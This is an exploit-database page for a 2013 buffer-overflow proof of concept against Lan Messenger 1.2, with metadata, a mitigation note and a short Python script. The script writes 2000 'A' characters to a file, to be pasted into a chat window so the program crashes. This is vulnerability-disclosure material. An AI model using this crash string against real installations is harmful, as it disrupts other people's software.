Lan Messenger Version 1.2 Buffer Overflow vulnerability - UNICODE(POC)

vendor:

Lan Messenger

by:

ariarat

7,5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Lan Messenger

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 & Windows XP SP2, SP3

2013

Lan Messenger Version 1.2 Buffer Overflow vulnerability – UNICODE(POC)

Lan Messenger Version 1.2 is vulnerable to a buffer overflow vulnerability when a user pastes a string of 2000 'A' characters into the Public Chat's send PM section or in any window for sending PM to others.

Mitigation:

Upgrade to the latest version of Lan Messenger, or apply the appropriate patch from the vendor.

Source

Exploit-DB raw data:

# Exploit Title: Lan Messenger Version 1.2 Buffer Overflow vulnerability - UNICODE(POC)
# Date: 09-05-2013
# Exploit Author: ariarat 
# Vendor Homepage: http://lmadhavan.com
# Software Link: http://lmadhavan.com/software/archive/lanmsg12.zip
# Version: 1.2 & may be old versions!
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in Public Chat's send PM section or in any window for sending PM to others. 
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()